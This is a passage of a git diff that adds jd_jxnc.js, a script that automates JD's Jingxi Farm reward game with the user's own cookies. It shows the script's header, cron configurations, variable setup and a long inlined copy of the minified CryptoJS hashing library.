jsonpCBK${rnd}(`, '').replace(');}catch(e){}', '')) + resolve(data) + }) +} \ No newline at end of file diff --git a/jd_jxnc.js b/jd_jxnc.js new file mode 100644 index 0000000000..80628ee275 --- /dev/null +++ b/jd_jxnc.js @@ -0,0 +1,815 @@ +/* +特别声明: +本脚本搬运自 https://github.com/whyour/hundun/blob/master/quanx/jx_nc.js +感谢 @whyour 大佬 + +无需京喜token,只需京东cookie即可. + +京喜农场:脚本更新地址 jd_jxnc.js +更新时间:2021-06-3 +活动入口:京喜APP我的-京喜农场 +东东农场活动链接:https://wqsh.jd.com/sns/201912/12/jxnc/detail.html?ptag=7155.9.32&smp=b47f4790d7b2a024e75279f55f6249b9&active=jdnc_1_chelizi1205_2 +已支持IOS,Node.js支持N个京东账号 +理论上脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +助力码shareCode请先手动运行脚本查看打印可看到 + +==========================Quantumultx========================= +[task_local] +0 9,12,18 * * * jd_jxnc.js, tag=京喜农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxnc.png, enabled=true +=========================Loon============================= +[Script] +cron "0 9,12,18 * * *" script-path=jd_jxnc.js,tag=京喜农场 + +=========================Surge============================ +京喜农场 = type=cron,cronexp="0 9,12,18 * * *",timeout=3600,script-path=jd_jxnc.js + +=========================小火箭=========================== +京喜农场 = type=cron,script-path=jd_jxnc.js, cronexpr="0 9,12,18 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('京喜农场'); +let notify = ''; // nodejs 发送通知脚本 +let notifyLevel = $.isNode() ? process.env.JXNC_NOTIFY_LEVEL || 1 : 1; // 通知级别 0=只通知成熟;1=本次获得水滴>0;2=任务执行;3=任务执行+未种植种子; +let notifyBool = true; // 代码内部使用,控制是否通知 +let cookieArr = []; // 用户 cookie 数组 +let currentCookie = ''; // 当前用户 cookie +let tokenNull = {'farm_jstoken': '', 'phoneid': '', 'timestamp': ''}; // 内置一份空的 token +let tokenArr = []; // 用户 token 数组 +let currentToken = {}; // 当前用户 token +let shareCode = ''; // 内置助力码 +let jxncShareCodeArr = []; // 用户 助力码 数组 +let currentShareCode = []; // 当前用户 要助力的助力码 +const openUrl = `openjd://virtual?params=${encodeURIComponent('{ "category": "jump", "des": "m", "url": "https://wqsh.jd.com/sns/201912/12/jxnc/detail.html?ptag=7155.9.32&smp=b47f4790d7b2a024e75279f55f6249b9&active=jdnc_1_chelizi1205_2"}',)}`; // 打开京喜农场 +let subTitle = '', message = '', option = {'open-url': openUrl}; // 消息副标题,消息正文,消息扩展参数 +const JXNC_API_HOST = 'https://wq.jd.com/'; +let allMessage = ''; +$.detail = []; // 今日明细列表 +$.helpTask = null; +$.allTask = []; // 任务列表 +$.info = {}; // 用户信息 +$.answer = 3; +$.drip = 0; +$.appId = 10016; + +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); 